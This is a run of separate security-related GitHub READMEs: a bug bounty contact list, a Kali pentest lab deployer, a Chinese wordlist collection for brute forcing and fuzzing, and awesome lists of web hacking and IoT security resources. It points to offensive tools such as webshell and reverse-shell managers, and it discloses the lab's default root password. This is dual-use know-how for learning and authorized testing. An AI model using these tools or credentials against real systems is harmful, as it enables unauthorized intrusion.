- [Subledger](https://cobalt.io/subledger)
- [Subrosa](https://cobalt.io/subrosa)
- [Sucuri](https://hackerone.com/sucuri)
- [Symantec](mailto:[email protected])
- [Taptalk](https://hackerone.com/taptalk)
- [Tarsnap](mailto:[email protected])
- [TeamUnify](mailto:[email protected])
- [Tele2](mailto:[email protected])
- [Telekom](mailto:[email protected]?subject=bug_bounty)
- [The Internet](https://hackerone.com/internet)
- [The Mastercoin Foundation](https://cobalt.io/the-mastercoin-foundation)
- [ThisData](https://hackerone.com/thisdata)
- [TimeTrex](https://cobalt.io/timetrex)
- [ToyTalk](https://hackerone.com/toytalk)
- [Trello](https://hackerone.com/trello)
- [Tuenti](http://corporate.tuenti.com/en/contact/security)
- [Twilio](https://bugcrowd.com/twilio)
- [Twitch](mailto:[email protected])
- [Twitter](https://hackerone.com/twitter)
- [Uber](mailto:[email protected])
- [Ubiquiti Networks](https://hackerone.com/ubnt)
- [Unitag](mailto:[email protected])
- [Urban Dictionary](https://hackerone.com/urbandictionary)
- [Uzbey](https://hackerone.com/uzbey)
- [Valve Software](mailto:[email protected])
- [VCE](mailto:[email protected])
- [Venmo](mailto:[email protected])
- [Version Cake](https://hackerone.com/versioncake)
- [Viadeo](mailto:[email protected])
- [Vimeo](https://hackerone.com/vimeo)
- [VK.com](https://hackerone.com/vkcom)
- [Volusion](https://bugcrowd.com/volusion)
- [VPNSox](https://cobalt.io/vpnsox)
- [vulners.com](https://hackerone.com/vulnerscom)
- [Vultr](https://www.vultr.com/bug-bounty/)
- [Webconverger](mailto:[email protected])
- [Websecurify](http://campaigns.websecurify.com/money-for-bugs/#contact)
- [Weebly](https://cobalt.io/weebly)
- [WePay](https://hackerone.com/wepay)
- [Whisper](https://hackerone.com/whisper)
- [WHMCS](https://bugcrowd.com/whmcs)
- [Windthorst ISD](http://www.windthorstisd.net/BugReport.cfm)
- [withinsecurity](https://hackerone.com/withinsecurity)
- [WizeHive](mailto:[email protected])
- [WordPoints](https://hackerone.com/wordpoints)
- [Wordware](https://cobalt.io/wordware)
- [WP API](https://hackerone.com/wp-api)
- [Xen Project](mailto:[email protected])
- [Xmarks](mailto:[email protected])
- [Yahoo](https://hackerone.com/yahoo)
- [Yandex](https://yandex.com/bugbounty/report)
- [Yanomo](mailto:[email protected])
- [Yesware](mailto:[email protected])
- [Zapier](mailto:[email protected])
- [Zaption](https://hackerone.com/zaption)
- [ZenCash](mailto:[email protected])
- [Zendesk](https://hackerone.com/zendesk)
- [Zetetic](mailto:[email protected])
- [Ziggo](mailto:[email protected])
- [Zimbra](mailto:[email protected])
- [Zoho](https://bugbounty.zoho.com/bb/info)
- [Zomato](https://hackerone.com/zomato)
- [Zopim](https://hackerone.com/zopim)
- [Zynga](mailto:[email protected])
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Dheeraj Joshi](https://github.com/djadmin) has waived all copyright and related or neighboring rights to this work.
|
# Pentest Environment Deployer | [](https://travis-ci.org/Sliim/pentest-env)
This repo provides an easy way to deploy a clean and customized pentesting environment with Kali linux using vagrant and virtualbox.
## Requirements
I assume you are familiar with virtualbox and vagrant.
- https://www.virtualbox.org/
- http://www.vagrantup.com/
Latest `pentest-env` release is tested with:
- Virtualbox (6.0.4)
- Vagrant (2.2.3)
## Current box
### Kali 2018.1
| Box | SHA256 |
|------------------ | -----------------------------------------------------------------|
| [Kali 2018.1](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-amd64) | `407b01c550e1f230fc238d12d91da899644bec2cac76a1202d7bab2f9d6cbefd` |
| [Kali 2018.1 Light](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-light-amd64) | `1f58f62417219ce8fe7d5f0b72dc3a8e0c13c019e7f485e10d27a0f1f096e266` |
| [Kali 2018.1 KDE](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-kde-amd64) | `0f44327c2606ead670679254f27945c82eb7cc2966c4a4f1d3137160dad07fe3` |
| [Kali 2018.1 LXDE](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-lxde-amd64) | `f3765b918aec03024c2657fc75090c540d95602cd90c0ab8835b4c0a0f1da23a` |
| [Kali 2018.1 Xfce](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-xfce-amd64) | `eec6b371743467244d3f4f1032c9dc576a1ce482a32ad18b8605bd3013e142a0` |
| [Kali 2018.1 Mate](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-mate-amd64) | `221f1bf6936b560d8980290c2af0702f1e705798eb4ef51acc144e36c89fe51c` |
| [Kali 2018.1 E17](https://app.vagrantup.com/Sliim/boxes/kali-2018.1-e17-amd64) | `0466384e8338e269b441b5f2872c28888528d244a0d31b73c7fb9d15d4f1bd0d` |
See the [documentation](docs/About-boxes.md) page about boxes for more details.
See also others [available instances](docs/Instances.md).
## Getting started
To get started with `pentest-env`, clone this repository and run `vagrant up` inside the directory.
This will download and run the Kali instance.
You can customize, add targets, create new targets etc.. inside `pentest-env`.
Some examples are available in the `examples/` directory, to use one simply set the `PENTESTRC` environment variable:
```
> PENTESTRC=examples/ctf.pentestrc vagrant status
Current machine states:
kali running (virtualbox)
metasploitable2 not created (virtualbox)
primer not created (virtualbox)
This environment represents multiple VMs. The VMs are all listed
above with their current state. For more information about a specific
VM, run `vagrant status NAME`.
```
For more details, visit the [documentation](docs/) pages:
1. [Installation](docs/Installation.md)
2. [Usage](docs/Usage.md)
3. [Docker](docs/Docker.md)
4. [Openstack](docs/Openstack.md)
5. [Customizations](docs/Customizations.md)
6. [Instances](docs/Instances.md)
7. [Targets](docs/Targets.md)
8. [Write custom instances and targets](docs/Custom-instances.md)
9. [Debugging](docs/Debugging.md)
9. [Security](docs/Security.md)
10. [About boxes](docs/About-boxes.md)
11. [Known issues](docs/Known-issues.md)
#### Some configuration examples:
1. [Configure Kali linux with Tor & proxychains](docs/examples/Tor-proxy.md)
2. [Configure Kali linux with Whonix gateway](docs/examples/Whonix.md)
3. [Faraday cscan against metasploitable 2 & 3 targets](docs/examples/Cscan-msfrpc.md)
4. [Configure a Teamserver](docs/examples/Teamserver.md)
#### Target examples:
1. [Basic Chef environment](docs/examples/Chef-environment.md)
2. [Simple & insecure Kubernetes cluster](docs/examples/K8s-cluster.md)
## About Security
#### verify checksums
It's recommended to check downloaded box files with provided checksums (SHA256).
See https://raw.githubusercontent.com/Sliim/pentest-env/master/checksums.txt for checksums list.
#### sshd is running
Provided boxes run the `sshd` service.
So if you plan to run the Kali linux with a Bridged interface, default setup can be dangerous!
- `root` password of kali is `toor`.
- SSH private key is not private! Anyone can use this [key](https://github.com/Sliim/pentest-env/blob/master/ssh-keys/pentest-env) to connect to your instance.
See the [secure the environment](docs/Security.md) page to automatically change these defaults values.
#### Shared folders symlinks
I recommend to disable `SharedFoldersEnableSymlinksCreate` which are enabled by default by vagrant.
More details and source in the [Security/Disable SharedFoldersEnableSymlinksCreate](docs/Security.md#disable-sharedfoldersenablesymlinkscreate) section.
## Related projects
Here is some projects you can build and integrate easily with pentest-env.
- Metasploitable3 - https://github.com/rapid7/metasploitable3/
- DetectionLab - https://github.com/clong/DetectionLab
- DanderSpritz-Lab - https://github.com/francisck/DanderSpritz_lab
## License
See COPYING file
|
# Dictionary-Of-Pentesting
## 简介
收集一些常用的字典，用于渗透测试、SRC漏洞挖掘、爆破、Fuzzing等实战中。
收集以实用为原则。目前主要分类有认证类、文件路径类、端口类、域名类、无线类、正则类。
涉及的内容包含设备默认密码、文件路径、通用默认密码、HTTP参数、HTTP请求头、正则、应用服务默认密码、子域名、用户名、系统密码、Wifi密码等。
该项目计划持续收集，也欢迎感兴趣的大佬一起来完善。可直接提交PR，也可以提建议到issue。
## 更新记录
**2020.11.23**
1. 增加ctf字典。
2. 增加摄像rtsp默认路径和默认用户名和密码
**2020.11.14**
1. 增加1个ics 默认密码字典
2. 增加1个设备默认密码字典（3400余条）
**2020.11.04**
1. 增加 Wordpress BruteForc List
**2020.11.03**
1. 增加几个默认口令
**2020.10.15**
1. 增加一些payload
**2020.09.30**
1. 增加常见可以RCE的端口
**2020.09.29**
1. bugbounty oneliner rce
2. 一些默认路径
3. top 100k 密码字典
4. top 5k 用户名字典
5. 一些代码审计正则表达式
**2020.09.27**
1. 增加cms识别指纹规则集，包含 fofa/Wappalyzer/WEBEYE/web中间件/开发语言 等众多指纹库内容
**2020.09.22**
1. 修改swagger字典，添加5条路径
**2020.09.21**
1. 增加3种类型密码字典，拼音、纯数字、键盘密码字典
2. 增加scada 默认密码，硬编码等列表
**2020.09.18**
1. 增加11k+用户名密码组合
**2020.09.17**
1. 增加action后缀 top 100
2. javascript 中on事件列表
3. URL 16进制fuzz
**2020.09.15**
1. 增加XXE bruteforce wordlist
2. 增加sql备份文件名字典
3. 删除重复的spring boot内容
**2020.09.10**
1. 增加自己收集的webservices内容。包含webservices目录，文件名，拓展名。后续计划增加存在漏洞webservices路径内容
2. readme中增加更新历史
**2020.09.09**
1. 增加weblogic路径
2. 增加swagger路径
3. 增加graphql路径
4. 增加spring-boot路径
5. 去掉device/default_password_list.txt文件中的空行
**2020.09.08**
1. 更新jsFileDict.txt字典，增加4个js文件名
**2020.09.07**
1. 添加绕过ip限制的http请求投
2. 修改readme.md
**2020.08.29**
1. 增加常见设备、安全产品默认口令
2. 增加一行命令的BugBounty tips
3. 增加两处参数字典
4. 增加bruteforce-lists的字典
5. Readme 文件增加来源。逐渐完善。
**2020.08.28**
1. 增加api路径
2. 增加js文件路径
3. 增加http请求参数
4. 增加http请求参数值
**2020.08.27**
1. 删除一些多余文件
2. 精简Files下的dict的层级
3. 增加DirBuster字典
4. 增加spring boot actuator字典
**2020.08.26**
首次提交
## todo
- [ ] 文件名字、目录风格统一整理
- [ ] 英文版本的readme
- [x] 网站指纹识别特征收集
- [x] 其他待添加
## 来源&致谢（排名不分先后。目前还不全，会陆续完善）
该项目内容均来源于网络或自己整理，感谢各位大佬们的共享精神和辛苦付出~
* [https://github.com/maurosoria/dirsearch](https://github.com/maurosoria/dirsearch)
* [https://github.com/dwisiswant0/awesome-oneliner-bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty)
* [https://github.com/internetwache/CT_subdomains](https://github.com/internetwache/CT_subdomains)
* [https://github.com/lijiejie/subDomainsBrute](https://github.com/lijiejie/subDomainsBrute)
* [https://github.com/shmilylty/OneForAll](https://github.com/shmilylty/OneForAll)
* [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
* [https://github.com/dwisiswant0/awesome-oneliner-bugbounty](https://github.com/dwisiswant0/awesome-oneliner-bugbounty)
* [https://github.com/OfJAAH/KingOfBugBountyTips](https://github.com/OfJAAH/KingOfBugBountyTips)
* [https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)
* [https://github.com/TheKingOfDuck/fuzzDicts](https://github.com/TheKingOfDuck/fuzzDicts)
* [https://github.com/NS-Sp4ce/Dict](https://github.com/NS-Sp4ce/Dict)
* [https://github.com/s0md3v/Arjun](https://github.com/s0md3v/Arjun)
* [https://github.com/fuzzdb-project/fuzzdb](https://github.com/fuzzdb-project/fuzzdb)
* [https://github.com/YasserGersy/Enums/](https://github.com/YasserGersy/Enums/)
* [https://gist.github.com/honoki/d7035c3ccca1698ec7b541c77b9410cf](https://gist.github.com/honoki/d7035c3ccca1698ec7b541c77b9410cf)
* [https://twitter.com/DanielAzulay18/status/1304751830539395072](https://twitter.com/DanielAzulay18/status/1304751830539395072)
* [https://github.com/cwkiller/Pentest_Dic](https://github.com/cwkiller/Pentest_Dic)
* [https://github.com/huyuanzhi2/password_brute_dictionary](https://github.com/huyuanzhi2/password_brute_dictionary)
* [https://github.com/Clear2020/icsmaster/](https://github.com/Clear2020/icsmaster/)
* [https://github.com/LandGrey/SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit)
* [https://github.com/al0ne/Vxscan][https://github.com/al0ne/Vxscan]
* [https://github.com/L0kiii/FofaScan](https://github.com/L0kiii/FofaScan)
* [https://github.com/nw01f/CmsIdentification-masterV2](https://github.com/nw01f/CmsIdentification-masterV2)
* [https://github.com/Lucifer1993/cmsprint](https://github.com/Lucifer1993/cmsprint)
* [https://github.com/erwanlr/Fingerprinter](https://github.com/erwanlr/Fingerprinter)
* [https://github.com/lewiswu1209/fingerprint](https://github.com/lewiswu1209/fingerprint)
* [https://github.com/shelld3v/RCE-python-oneliner-payload](https://github.com/shelld3v/RCE-python-oneliner-payload)
* [https://twitter.com/ptswarm/status/1311310897592315905](https://twitter.com/ptswarm/status/1311310897592315905)
* [https://github.com/xer0days/BugBounty](https://github.com/xer0days/BugBounty)
* [https://twitter.com/ptswarm/status/1323266632920256512](https://twitter.com/ptswarm/status/1323266632920256512)
* [https://github.com/kongsec/Wordpress-BruteForce-List/](https://github.com/kongsec/Wordpress-BruteForce-List/)
* [https://github.com/nyxxxie/awesome-default-passwords](https://github.com/nyxxxie/awesome-default-passwords)
* [https://github.com/arnaudsoullie/ics-default-passwords](https://github.com/arnaudsoullie/ics-default-passwords)
* [https://github.com/Ullaakut/cameradar](https://github.com/Ullaakut/cameradar)
|
# awesome-web-hacking
This list is for anyone wishing to learn about web application security but do not have a starting point.
You can help by sending Pull Requests to add more information.
If you're not inclined to make PRs you can tweet me at `@infoslack`
Table of Contents
=================
* [Books](#books)
* [Documentation](#documentation)
* [Tools](#tools)
* [Cheat Sheets](#cheat-sheets)
* [Docker](#docker-images-for-penetration-testing)
* [Vulnerabilities](#vulnerabilities)
* [Courses](#courses)
* [Online Hacking Demonstration Sites](#online-hacking-demonstration-sites)
* [Labs](#labs)
* [SSL](#ssl)
* [Security Ruby on Rails](#security-ruby-on-rails)
## Books
* http://www.amazon.com/The-Web-Application-Hackers-Handbook/dp/8126533404/ The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws
* http://www.amazon.com/Hacking-Web-Apps-Preventing-Application/dp/159749951X/ Hacking Web Apps: Detecting and Preventing Web Application Security Problems
* http://www.amazon.com/Hacking-Exposed-Web-Applications-Third/dp/0071740643/ Hacking Exposed Web Applications
* http://www.amazon.com/SQL-Injection-Attacks-Defense-Second/dp/1597499633/ SQL Injection Attacks and Defense
* http://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886/ The Tangled WEB: A Guide to Securing Modern Web Applications
* http://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049/ Web Application Obfuscation: '-/WAFs..Evasion..Filters//alert(/Obfuscation/)-'
* http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543/ XSS Attacks: Cross Site Scripting Exploits and Defense
* http://www.amazon.com/Browser-Hackers-Handbook-Wade-Alcorn/dp/1118662091/ The Browser Hacker’s Handbook
* http://www.amazon.com/Basics-Web-Hacking-Techniques-Attack/dp/0124166008/ The Basics of Web Hacking: Tools and Techniques to Attack the Web
* http://www.amazon.com/Web-Penetration-Testing-Kali-Linux/dp/1782163166/ Web Penetration Testing with Kali Linux
* http://www.amazon.com/Web-Application-Security-Beginners-Guide/dp/0071776168/ Web Application Security, A Beginner's Guide
* https://www.crypto101.io/ - Crypto 101 is an introductory course on cryptography
* http://www.offensive-security.com/metasploit-unleashed/ - Metasploit Unleashed
* http://www.cl.cam.ac.uk/~rja14/book.html - Security Engineering
* https://www.feistyduck.com/library/openssl-cookbook/ - OpenSSL Cookbook
## Documentation
* https://www.owasp.org/ - Open Web Application Security Project
* http://www.pentest-standard.org/ - Penetration Testing Execution Standard
* http://www.binary-auditing.com/ - Dr. Thorsten Schneider’s Binary Auditing
* https://appsecwiki.com/ - Application Security Wiki is an initiative to provide all Application security related resources to Security Researchers and developers at one place.
## Tools
* http://www.metasploit.com/ - World's most used penetration testing software
* http://www.arachni-scanner.com/ - Web Application Security Scanner Framework
* https://github.com/sullo/nikto - Nikto web server scanner
* http://www.tenable.com/products/nessus-vulnerability-scanner - Nessus Vulnerability Scanner
* http://www.portswigger.net/burp/intruder.html - Burp Intruder is a tool for automating customized attacks against web apps.
* http://www.openvas.org/ - The world's most advanced Open Source vulnerability scanner and manager.
* https://github.com/iSECPartners/Scout2 - Security auditing tool for AWS environments
* https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project - Is a multi threaded java application designed to brute force directories and files names on web/application servers.
* https://www.owasp.org/index.php/ZAP - The Zed Attack Proxy is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
* https://github.com/tecknicaltom/dsniff - dsniff is a collection of tools for network auditing and penetration testing.
* https://github.com/WangYihang/Webshell-Sniper - Manage your webshell via terminal.
* https://github.com/DanMcInerney/dnsspoof - DNS spoofer. Drops DNS responses from the router and replaces it with the spoofed DNS response
* https://github.com/trustedsec/social-engineer-toolkit - The Social-Engineer Toolkit (SET) repository from TrustedSec
* https://github.com/sqlmapproject/sqlmap - Automatic SQL injection and database takeover tool
* https://github.com/beefproject/beef - The Browser Exploitation Framework Project
* http://w3af.org/ - w3af is a Web Application Attack and Audit Framework
* https://github.com/espreto/wpsploit - WPSploit, Exploiting Wordpress With Metasploit
* https://github.com/WangYihang/Reverse-Shell-Manager - Reverse shell manager via terminal.
* https://github.com/RUB-NDS/WS-Attacker - WS-Attacker is a modular framework for web services penetration testing
* https://github.com/wpscanteam/wpscan - WPScan is a black box WordPress vulnerability scanner
* http://sourceforge.net/projects/paros/ Paros proxy
* https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project Web Scarab proxy
* https://code.google.com/p/skipfish/ Skipfish, an active web application security reconnaissance tool
* http://www.acunetix.com/vulnerability-scanner/ Acunetix Web Vulnerability Scanner
* https://cystack.net/ CyStack Web Security Platform
* http://www-03.ibm.com/software/products/en/appscan IBM Security AppScan
* https://www.netsparker.com/web-vulnerability-scanner/ Netsparker web vulnerability scanner
* http://www8.hp.com/us/en/software-solutions/webinspect-dynamic-analysis-dast/index.html HP Web Inspect
* https://github.com/sensepost/wikto Wikto - Nikto for Windows with some extra features
* http://samurai.inguardians.com Samurai Web Testing Framework
* https://code.google.com/p/ratproxy/ Ratproxy
* http://www.websecurify.com Websecurify
* http://sourceforge.net/projects/grendel/ Grendel-scan
* https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project DirBuster
* http://www.edge-security.com/wfuzz.php Wfuzz
* http://wapiti.sourceforge.net wapiti
* https://github.com/neuroo/grabber Grabber
* https://subgraph.com/vega/ Vega
* http://websecuritytool.codeplex.com Watcher passive web scanner
* http://xss.codeplex.com x5s XSS and Unicode transformations security testing assistant
* http://www.beyondsecurity.com/avds AVDS Vulnerability Assessment and Management
* http://www.golismero.com Golismero
* http://www.ikare-monitoring.com IKare
* http://www.nstalker.com N-Stalker X
* https://www.rapid7.com/products/nexpose/index.jsp Nexpose
* http://www.rapid7.com/products/appspider/ App Spider
* http://www.milescan.com ParosPro
* https://www.qualys.com/enterprises/qualysguard/web-application-scanning/ Qualys Web Application Scanning
* http://www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/ Retina
* https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Xenotix XSS Exploit Framework
* https://github.com/future-architect/vuls Vulnerability scanner for Linux, agentless, written in golang.
* https://github.com/rastating/wordpress-exploit-framework A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
* http://www.xss-payloads.com/ XSS Payloads to leverage XSS vulnerabilities, build custom payloads, practice penetration testing skills.
* https://github.com/joaomatosf/jexboss JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
* https://github.com/commixproject/commix Automated All-in-One OS command injection and exploitation tool
* https://github.com/pathetiq/BurpSmartBuster A Burp Suite content discovery plugin that add the smart into the Buster!
* https://github.com/GoSecure/csp-auditor Burp and ZAP plugin to analyze CSP headers
* https://github.com/ffleming/timing_attack Perform timing attacks against web applications
* https://github.com/lalithr95/fuzzapi Fuzzapi is a tool used for REST API pentesting
* https://github.com/owtf/owtf Offensive Web Testing Framework (OWTF)
* https://github.com/nccgroup/wssip Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.
* https://github.com/tijme/angularjs-csti-scanner Automated client-side template injection (sandbox escape/bypass) detection for AngularJS (ACSTIS).
* https://reshift.softwaresecured.com A source code analysis tool for detecting and managing Java security vulnerabilities.
## Cheat Sheets
* http://n0p.net/penguicon/php_app_sec/mirror/xss.html - XSS cheatsheet
* https://highon.coffee/blog/lfi-cheat-sheet/ - LFI Cheat Sheet
* https://highon.coffee/blog/reverse-shell-cheat-sheet/ - Reverse Shell Cheat Sheet
* https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ - SQL Injection Cheat Sheet
* https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/ - Path Traversal Cheat Sheet: Windows
## Docker images for Penetration Testing
* `docker pull kalilinux/kali-linux-docker` [official Kali Linux](https://hub.docker.com/r/kalilinux/kali-linux-docker/)
* `docker pull owasp/zap2docker-stable` - [official OWASP ZAP](https://github.com/zaproxy/zaproxy)
* `docker pull wpscanteam/wpscan` - [official WPScan](https://hub.docker.com/r/wpscanteam/wpscan/)
* `docker pull pandrew/metasploit` - [docker-metasploit](https://hub.docker.com/r/pandrew/metasploit/)
* `docker pull citizenstig/dvwa` - [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/citizenstig/dvwa/)
* `docker pull wpscanteam/vulnerablewordpress` - [Vulnerable WordPress Installation](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/)
* `docker pull hmlio/vaas-cve-2014-6271` - [Vulnerability as a service: Shellshock](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/)
* `docker pull hmlio/vaas-cve-2014-0160` - [Vulnerability as a service: Heartbleed](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/)
* `docker pull opendns/security-ninjas` - [Security Ninjas](https://hub.docker.com/r/opendns/security-ninjas/)
* `docker pull usertaken/archlinux-pentest-lxde` - [Arch Linux Penetration Tester](https://hub.docker.com/r/usertaken/archlinux-pentest-lxde/)
* `docker pull diogomonica/docker-bench-security` - [Docker Bench for Security](https://hub.docker.com/r/diogomonica/docker-bench-security/)
* `docker pull ismisepaul/securityshepherd` - [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/)
* `docker pull danmx/docker-owasp-webgoat` - [OWASP WebGoat Project docker image](https://hub.docker.com/r/danmx/docker-owasp-webgoat/)
* `docker pull citizenstig/nowasp` - [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/)
## Vulnerabilities
* http://cve.mitre.org/ - Common Vulnerabilities and Exposures. The Standard for Information Security Vulnerability Names
* https://www.exploit-db.com/ - The Exploit Database – ultimate archive of Exploits, Shellcode, and Security Papers.
* http://0day.today/ - Inj3ct0r is the ultimate database of exploits and vulnerabilities and a great resource for vulnerability researchers and security professionals.
* http://osvdb.org/ - OSVDB's goal is to provide accurate, detailed, current, and unbiased technical security information.
* http://www.securityfocus.com/ - Since its inception in 1999, SecurityFocus has been a mainstay in the security community.
* http://packetstormsecurity.com/ - Global Security Resource
* https://wpvulndb.com/ - WPScan Vulnerability Database
## Courses
* https://www.elearnsecurity.com/course/web_application_penetration_testing/ eLearnSecurity Web Application Penetration Testing
* https://www.elearnsecurity.com/course/web_application_penetration_testing_extreme/ eLearnSecurity Web Application Penetration Testing eXtreme
* https://www.offensive-security.com/information-security-training/advanced-web-attack-and-exploitation/ Offensive Security Advanced Web Attacks and Exploitation (live)
* https://www.sans.org/course/web-app-penetration-testing-ethical-hacking Sans SEC542: Web App Penetration Testing and Ethical Hacking
* https://www.sans.org/course/advanced-web-app-penetration-testing-ethical-hacking Sans SEC642: Advanced Web App Penetration Testing and Ethical Hacking * http://opensecuritytraining.info/ - Open Security Training
* http://securitytrainings.net/security-trainings/ - Security Exploded Training
* http://www.cs.fsu.edu/~redwood/OffensiveComputerSecurity/ - FSU - Offensive Computer Security
* http://www.cs.fsu.edu/~lawrence/OffNetSec/ - FSU - Offensive Network Security
* http://www.securitytube.net/ - World’s largest Infosec and Hacking Portal.
* https://www.hacker101.com/ - Free class for web security by [Hackerone](https://www.hackerone.com)
## Online Hacking Demonstration Sites
* http://testasp.vulnweb.com/ - Acunetix ASP test and demonstration site
* http://testaspnet.vulnweb.com/ - Acunetix ASP.Net test and demonstration site
* http://testphp.vulnweb.com/ - Acunetix PHP test and demonstration site
* http://crackme.cenzic.com/kelev/view/home.php - Crack Me Bank
* http://zero.webappsecurity.com/ - Zero Bank
* http://demo.testfire.net/ - Altoro Mutual
## Labs
* http://www.cis.syr.edu/~wedu/seed/all_labs.html - Developing Instructional Laboratories for Computer SEcurity EDucation
* https://www.vulnhub.com/ - Virtual Machines for Localhost Penetration Testing.
* https://pentesterlab.com/ - PentesterLab is an easy and great way to learn penetration testing.
* https://github.com/jerryhoff/WebGoat.NET - This web application is a learning platform about common web security flaws.
* http://www.dvwa.co.uk/ - Damn Vulnerable Web Application (DVWA)
* http://sourceforge.net/projects/lampsecurity/ - LAMPSecurity Training
* https://github.com/Audi-1/sqli-labs - SQLI labs to test error based, Blind boolean based, Time based.
* https://github.com/paralax/lfi-labs - small set of PHP scripts to practice exploiting LFI, RFI and CMD injection vulns
* https://hack.me/ - Build, host and share vulnerable web apps in a sandboxed environment for free
* http://azcwr.org/az-cyber-warfare-ranges - Free live fire Capture the Flag, blue team, red team Cyber Warfare Range for beginners through advanced users. Must use a cell phone to send a text message requesting access to the range.
* https://github.com/adamdoupe/WackoPicko - WackoPicko is a vulnerable web application used to test web application vulnerability scanners.
* https://github.com/rapid7/hackazon - Hackazon is a free, vulnerable test site that is an online storefront built with the same technologies used in today’s rich client and mobile applications.
* https://github.com/RhinoSecurityLabs/cloudgoat - Rhino Security Labs' "Vulnerable by Design" AWS infrastructure setup tool
* https://www.hackthebox.eu/ - Hack The Box is an online platform allowing you to test and advance your skills in cyber security.
## SSL
* https://www.ssllabs.com/ssltest/index.html - This service performs a deep analysis of the configuration of any SSL web server on the public Internet.
* https://raymii.org/s/tutorials/Strong_SSL_Security_On_nginx.html - Strong SSL Security on nginx
* https://weakdh.org/ - Weak Diffie-Hellman and the Logjam Attack
* https://letsencrypt.org/ - Let’s Encrypt is a new Certificate Authority: It’s free, automated, and open.
* https://filippo.io/Heartbleed/ - A checker (site and tool) for CVE-2014-0160 (Heartbleed).
## Security Ruby on Rails
* http://brakemanscanner.org/ - A static analysis security vulnerability scanner for Ruby on Rails applications.
* https://github.com/rubysec/ruby-advisory-db - A database of vulnerable Ruby Gems
* https://github.com/rubysec/bundler-audit - Patch-level verification for Bundler
* https://github.com/hakirisec/hakiri_toolbelt - Hakiri Toolbelt is a command line interface for the Hakiri platform.
* https://hakiri.io/facets - Scan Gemfile.lock for vulnerabilities.
* http://rails-sqli.org/ - This page lists many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input.
* https://github.com/0xsauby/yasuo - A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network
|
# All-in-one_BugBounty_PDF_bundles
### All-in-one_PDF
[](https://twitter.com/1ndianl33t)
[ All-in-one-Recon-by_@1ndianl33t ](https://drive.google.com/file/d/1uBTra6_jwhLnZALJVp9hmHaty2pBBUH2/view?usp=drivesdk)
[](https://twitter.com/NahamSec)
[ VirSecCon-All-in-one-slides-by_@1ndianl33t ](https://drive.google.com/file/d/1sbqEQxOGeHeKQCh8JbAhElN6PLYBS7zZ/view?usp=drivesdk)
# NahamCon2020 All slides (13/06/2020 ==> 14/06/2020)
### Slides
[](https://twitter.com/jhaddix)
[ The Bug Hunter’s Methodology v4
Recon ](https://drive.google.com/file/d/1aG_qqRvNW-s5_8vvPk5rJiMSMeNL2uY9/view?usp=drivesdk)
[](https://twitter.com/TomNomNom)
[ Who, What, Where, When,
Wordlist ](https://tomnomnom.com/talks/wwwww.pdf)
[](https://twitter.com/securinti)
[ YouveGotPwned ](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
[](https://twitter.com/samwcyo)
[ Owning Online Games with only web hacking Experience ](https://docs.google.com/presentation/d/1Wsv1TxfTw13P6rXjq8Qs8AxiO3Q9NVy0XaoU_kesyHs/mobilepresent?slide=id.g885f70f169_0_975
)
[](https://twitter.com/defparam)
[ Practical Attacks using Http Request Smuggling ](https://drive.google.com/file/d/1iC0972G4meFPGTmqfs8g61qat7ZYLQgf/view)
[](https://twitter.com/snyff)
[ JWT: jku x5u attacking json web tokens ](https://www.slideshare.net/mobile/snyff/jwt-jku-x5u)
[](https://twitter.com/jcran)
[ Intrigue Core – Scaling Assessment Automation (NahamCon Presentation) ](https://core.intrigue.io/)
|
<div align="center">
<img width="500" height="350" src="iot_awesome_logo.svg" alt="Awesome">
<br />
</div>
# Awesome Embedded and IoT Security [](https://awesome.re)
> A curated list of awesome resources about embedded and IoT security. The list contains software and hardware tools, books, research papers and more.
Botnets like [Mirai](<https://en.wikipedia.org/wiki/Mirai_(malware)>) have proven that there is a need for more security in embedded and IoT devices. This list shall help beginners and experts to find helpful resources on the topic.
If you are a beginner, you should have a look at the <ins>*Books*</ins> and <ins>*Case Studies*</ins> sections.
If you want to start right away with your own analysis, you should give the <ins>*Analysis Frameworks*</ins> a try.
They are easy to use and you do not need to be an expert to get first meaningful results.
> Items marked with :euro: are comercial products.
## Contents
- [Software Tools](#software-tools)
- [Analysis Frameworks](#analysis-frameworks)
- [Analysis Tools](#analysis-tools)
- [Extraction Tools](#extraction-tools)
- [Support Tools](#support-tools)
- [Misc Tools](#misc-tools)
- [Hardware Tools](#hardware-tools)
- [Bluetooth BLE Tools](#bluetooth-ble-tools)
- [ZigBee Tools](#zigbee-tools)
- [SDR Tools](#sdr-tools)
- [RFID NFC Tools](#rfid-nfc-tools)
